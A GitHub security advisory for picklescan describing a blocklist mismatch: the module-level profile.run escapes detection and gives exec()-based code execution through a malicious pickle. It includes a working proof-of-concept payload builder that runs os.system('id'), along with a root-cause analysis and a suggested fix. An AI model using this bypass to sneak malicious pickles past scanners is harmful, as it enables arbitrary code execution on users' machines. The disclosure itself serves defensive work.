Skip to content

PickleScan's profile.run blocklist mismatch allows exec() bypass

Critical severity GitHub Reviewed Published Mar 2, 2026 in mmaitre314/picklescan • Updated Mar 3, 2026

Package

pip picklescan (pip)

Affected versions

< 1.0.4

Patched versions

1.0.4

Description

Summary

picklescan v1.0.3 blocks profile.Profile.run and profile.Profile.runctx but does NOT block the module-level profile.run() function. A malicious pickle calling profile.run(statement) achieves arbitrary code execution via exec() while picklescan reports 0 issues. This is because the blocklist entry "Profile.run" does not match the pickle global name "run".

Severity

High — Direct code execution via exec() with zero scanner detection.

Affected Versions

  • picklescan v1.0.3 (latest — the profile entries were added in recent versions)
  • Earlier versions also affected (profile not blocked at all)

Details

Root Cause

In scanner.py line 199, the blocklist entry for profile is:

"profile": {"Profile.run", "Profile.runctx"},

When a pickle file imports profile.run (the module-level function), picklescan's opcode parser extracts:

  • module = "profile"
  • name = "run"

The blocklist check at line 414 is:

elif unsafe_filter is not None and (unsafe_filter == "*" or g.name in unsafe_filter):

This checks: is "run" in {"Profile.run", "Profile.runctx"}?

Answer: NO. "run" != "Profile.run". The string comparison is exact — there is no prefix/suffix matching.

What profile.run() Does

# From Python's Lib/profile.py
def run(statement, filename=None, sort=-1):
    prof = Profile()
    try:
        prof.run(statement)  # Calls exec(statement)
    except SystemExit:
        pass
    ...

profile.run(statement) calls exec(statement) internally, enabling arbitrary Python code execution.

Proof of Concept

import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# profile.run("import os; os.system('id')")
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 60)
    + sbu("profile") + sbu("run") + b"\x93"
    + sbu("import os; os.system('id')")
    + b"\x85" + b"R" + b"."
)

# picklescan: 0 issues (name "run" not in {"Profile.run", "Profile.runctx"})
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN!

# Execute: runs exec("import os; os.system('id')") → RCE
pickle.loads(payload)

Comparison

Pickle Global Blocklist Entry Match? Result
("profile", "run") "Profile.run" NO — "run" != "Profile.run" CLEAN (bypass!)
("profile", "Profile.run") "Profile.run" YES DETECTED
("profile", "runctx") "Profile.runctx" NO — "runctx" != "Profile.runctx" CLEAN (bypass!)

The pickle opcode GLOBAL / STACK_GLOBAL resolves profile.run to the MODULE-LEVEL function, not the class method Profile.run. These are different Python objects but both execute arbitrary code.

Impact

profile.run() provides direct exec() execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because exec() can import any module and call any function, bypassing the blocklist entirely.

Suggested Fix

Change the profile blocklist entry from:

"profile": {"Profile.run", "Profile.runctx"},

to:

"profile": "*",

Or explicitly add the module-level functions:

"profile": {"Profile.run", "Profile.runctx", "run", "runctx"},

Resources

  • picklescan source: scanner.py line 199 ("profile": {"Profile.run", "Profile.runctx"})
  • picklescan source: scanner.py line 414 (exact string match logic)
  • Python source: Lib/profile.py run() function — calls exec()

References

@mmaitre314 mmaitre314 published to mmaitre314/picklescan Mar 2, 2026
Published to the GitHub Advisory Database Mar 3, 2026
Reviewed Mar 3, 2026
Last updated Mar 3, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS score

Weaknesses

Incomplete List of Disallowed Inputs

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete. Learn more on MITRE.

Incorrect Comparison

The product compares two entities in a security-relevant context, but the comparison is incorrect, which may lead to resultant weaknesses. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-7wx9-6375-f5wh

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.